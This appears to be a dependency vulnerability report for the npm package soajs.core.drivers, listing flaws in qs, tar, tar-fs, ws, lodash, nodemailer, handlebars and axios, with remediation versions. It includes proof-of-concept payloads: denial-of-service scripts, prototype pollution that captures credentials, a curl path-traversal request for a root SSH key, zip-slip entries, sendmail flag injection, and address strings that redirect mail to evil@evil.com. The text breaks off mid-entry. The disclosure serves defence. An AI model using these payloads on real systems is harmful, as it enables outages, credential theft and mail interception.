Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › swagger-fluent@3.2.1 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › qs@6.5.5
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › request@2.88.2 › qs@6.5.5
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.
PoC
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length); // Output: 10000 (should be max 100)
Remediation
Upgrade qs to version 6.14.1 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as src/extract.ts. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.
Remediation
Upgrade tar to version 7.5.19 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Infinite loop via the replace method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.
Remediation
Upgrade tar to version 7.5.18 or higher.
References
high severity
- Vulnerable module: tar-fs
- Introduced through: dockerode@soajs/dockerode.git
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › dockerode@soajs/dockerode.git › tar-fs@1.12.0
Overview
tar-fs is a filesystem bindings for tar-stream.
Affected versions of this package are vulnerable to Improper Link Resolution Before File Access ('Link Following') through the exports.extract function. An attacker can manipulate the path of extracted files to write outside the intended directory by crafting a malicious tarball.
Workaround
This vulnerability can be mitigated by using the ignore option to ignore paths like symlinks that are not files/directories.
ignore (_, header) {
// pass files & directories, ignore e.g. symlinks
return header.type !== 'file' && header.type !== 'directory'
}
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar-fs to version 1.16.5, 2.1.3, 3.0.9 or higher.
References
high severity
- Vulnerable module: tar-fs
- Introduced through: dockerode@soajs/dockerode.git
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › dockerode@soajs/dockerode.git › tar-fs@1.12.0
Overview
tar-fs is a filesystem bindings for tar-stream.
Affected versions of this package are vulnerable to Symlink Attack via the extraction process of a maliciously crafted tar file. An attacker can overwrite or write unauthorized files outside the intended directory by exploiting the path traversal and link following vulnerabilities.
Remediation
Upgrade tar-fs to version 1.16.4, 2.1.2, 3.0.7 or higher.
References
high severity
- Vulnerable module: uri-js
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › request@2.88.0 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › ajv@6.12.3 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › @kubernetes/client-node@0.10.2 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › kubernetes-client@8.3.4 › swagger-fluent@3.2.1 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › ms-rest@2.5.6 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › googleapis@23.0.2 › google-auth-library@0.12.0 › gtoken@1.2.3 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
Overview
uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.
Affected versions of this package are vulnerable to Infinite loop via the removeDotSegments function, which loops infinitely when a path segment begins with Unicode line separators (U+2028) or paragraph separators (U+2029). An attacker can trigger this by passing such a path to removeDotSegments directly, or through the normalize or resolve functions with IRI handling enabled, blocking the Node.js event loop indefinitely until heap exhaustion.
Remediation
There is no fixed version for uri-js.
References
high severity
- Vulnerable module: ws
- Introduced through: ws@7.2.0
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ws@7.2.0Remediation: Upgrade to ws@7.5.11.
Overview
ws is a simple to use websocket client, server and console for node.js.
Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames
Workaround
This vulnerability can be mitigated by lowering the value of the maxPayload option.
PoC
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade ws to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.15
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › lodash@4.17.15Remediation: Upgrade to lodash@4.18.1.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Arbitrary Code Injection due the improper validation of options.imports key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.
Notes:
Version 4.18.0 was intended to fix this vulnerability but it got deprecated due to introducing a breaking functionality issue.
This issue is due to the incomplete fix for CVE-2021-23337.
Remediation
Upgrade lodash to version 4.18.1 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.0.8.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Command Injection. Use of crafted recipient email addresses may result in arbitrary command flag injection in sendmail transport for sending mails.
PoC
-bi@example.com (-bi Initialize the alias database.)
-d0.1a@example.com (The option -d0.1 prints the version of sendmail and the options it was compiled with.)
-Dfilename@example.com (Debug output ffile)
Remediation
Upgrade nodemailer to version 6.4.16 or higher.
References
high severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.3 and soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › handlebars@4.7.3Remediation: Upgrade to handlebars@4.7.9.
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › handlebars@4.7.6Remediation: Upgrade to soajs.core.modules@5.2.20.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the CLI precompiler in lib/precompiler.js. An attacker can execute arbitrary JavaScript in the generated bundle by supplying crafted template filenames or CLI options such as --namespace, --commonjs, --handlebarPath, or --map. The issue affects the precompiler output path used by bin/handlebars / lib/precompiler.js, where untrusted names and option values were concatenated into emitted JavaScript without escaping.
Workarounds
- Validate template filenames and CLI option values before invoking the precompiler and reject values containing JavaScript string-escaping or statement-breaking characters.
- Use a fixed, trusted namespace string rather than passing it from the command line in automated pipelines.
- Run the precompiler in a sandboxed environment with limited write access.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
high severity
- Vulnerable module: tar
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › bcrypt@5.0.0 › node-pre-gyp@0.15.0 › tar@4.4.19
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via the extract() function. An attacker can read or write files outside the intended extraction directory by causing the application to extract a malicious archive containing a chain of symlinks leading to a hardlink, which bypasses path validation checks.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.8 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: ms-rest-azure@2.6.2, azure-arm-compute@5.1.1 and others
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-compute@5.1.1 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-network@5.3.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-resource@3.1.1-preview › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › azure-arm-storage@3.2.0 › ms-rest-azure@2.6.2 › adal-node@0.2.4 › axios@0.21.4
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution in the request configuration merge process. An attacker can access sensitive request configuration data, including authentication credentials and response data, and alter the response returned to the application by injecting a malicious function into Object.prototype.transformResponse prior to the request.
Note: This is only exploitable if a separate vulnerability or attacker-controlled code has polluted Object.prototype with a function-valued transformResponse property before the request is made.
PoC
import http from 'http';
import axios from 'axios';
const seen = [];
const server = http.createServer((req, res) => {
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ secret: 'response-secret' }));
});
await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));
Object.prototype.transformResponse = function pollutedTransform(data, headers, status) {
if (headers && typeof status === 'number') {
seen.push({
url: this.url,
username: this.auth && this.auth.username,
password: this.auth && this.auth.password,
responseData: data
});
return { hijacked: true };
}
return true;
};
try {
const { port } = server.address();
const response = await axios.get(`http://127.0.0.1:${port}/users`, {
auth: { username: 'svc-account', password: 'prod-secret-key-123' }
});
console.log(response.data); // { hijacked: true }
console.log(seen[0]); // request config plus original response body
} finally {
delete Object.prototype.transformResponse;
server.close();
}
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.31.1, 1.15.2 or higher.
References
high severity
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.21.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict through _normalizeAddress in lib/mime-node/index.js. An attacker can cause mail to be delivered to an attacker-controlled domain by supplying a recipient address whose domain contains an IDN-mapped or ignored code point, such as an invisible soft hyphen, that a standards-compliant domain check resolves to a trusted domain but Nodemailer encodes to a different xn-- label. This can make an application approve or display one recipient domain while Nodemailer sends the message to another external domain, exposing the intended email content and breaking domain-based recipient controls.
Remediation
Upgrade nodemailer to version 9.1.0 or higher.
References
high severity
new
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.22.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict via the address parser in src/addressparser/index.ts when processing email header values containing nested comments. RFC 5322 §3.2.2 defines comments as nestable, but the tokenizer ends a comment at the first ) encountered, so the ) closing an inner comment prematurely closes the outer one and releases the remaining comment text, including any address it contains, into the parsed header. An attacker can construct a To header such as Victim (x(y) <evil@evil.com>) <v@victim.com> to redirect delivery to evil@evil.com instead of the intended v@victim.com, because the envelope RCPT TO is derived from the same malformed parse.
PoC
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("Victim (x(y) <evil@evil.com>) <v@victim.com>"));
// [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ]
Python's email._header_value_parser.get_address_list reads the same value as v@victim.com with the display name Victim, with no defects reported.
The envelope a message gets is built from the same parse, so sendMail({ to: "Victim (x(y) <evil@evil.com>) <v@victim.com>" }) issues the RCPT TO shown above.
Note: The PoC states no specific environment, runtime version, or operating system.
Remediation
Upgrade nodemailer to version 10.1.4 or higher.
References
high severity
new
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.22.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict via the address parser in src/addressparser/index.ts, where the tokenizer tracks only a single open operator and does not account for quoted strings, comments, or domain literals nested inside an angle-addr or group. An attacker who controls a recipient address can supply a value such as 'G: (a; <evil@evil.com>) <v@victim.com>;' to cause the parser to terminate the group at the ; inside the comment, resulting in evil@evil.com being added to the SMTP envelope as a recipient instead of, or in addition to, the intended address. Similarly, a quoted local part containing > prematurely closes an angle-addr, so <"a@evil.com>"@good.com> is resolved to evil.com rather than good.com.
PoC
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("G: (a; <evil@evil.com>) <v@victim.com>;"));
// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]
Python's email._header_value_parser.get_address_list reads the same value as the single mailbox v@victim.com, with no defects reported.
The envelope a message gets is built from the same parse, so sendMail({ to: "G: (a; <evil@evil.com>) <v@victim.com>;" }) issues the RCPT TO shown above.
Note: The PoC uses the addressparser module bundled with nodemailer and states no specific version, OS, or non-default configuration.
Remediation
Upgrade nodemailer to version 10.1.4 or higher.
References
high severity
new
- Vulnerable module: nodemailer
- Introduced through: soajs.core.modules@5.0.5
Detailed paths
-
Introduced through: soajs.core.drivers@soajs/soajs.core.drivers › soajs.core.modules@5.0.5 › nodemailer@6.4.10Remediation: Upgrade to soajs.core.modules@5.2.22.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to Interpretation Conflict via the address parser (src/addressparser/index.ts) when processing angle-addr and group constructs. The tokenizer tracks only a single open operator and, once < or : is encountered, looks only for the closing > or ; without accounting for quoted strings, comments, or domain literals that may appear inside. A > character inside a quoted local part therefore terminates the angle-addr prematurely, so an input such as <"a@evil.com>"@good.com> is parsed as an address at evil.com rather than the RFC 5322-conformant mailbox "a@evil.com>"@good.com. Similarly, a ; inside a quoted display name or a comment prematurely closes a group, causing additional recipients to be injected into the envelope, so G: (a; <evil@evil.com>) <v@victim.com>; delivers only to evil@evil.com instead of v@victim.com.
PoC
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("<\"a@evil.com>\"@good.com>"));
// [ { address: '"a@evil.com', name: '@good.com>' } ]
Python's email._header_value_parser.get_address_list reads the same value as "a@evil.com>"@good.com, with no defects reported.
The envelope a message gets is built from the same parse, so sendMail({ to: "<\"a@evil.com>\"@good.com>" }) issues the RCPT TO shown above.
Note: The PoC states no specific environment, runtime version, or operating system.
Remediation
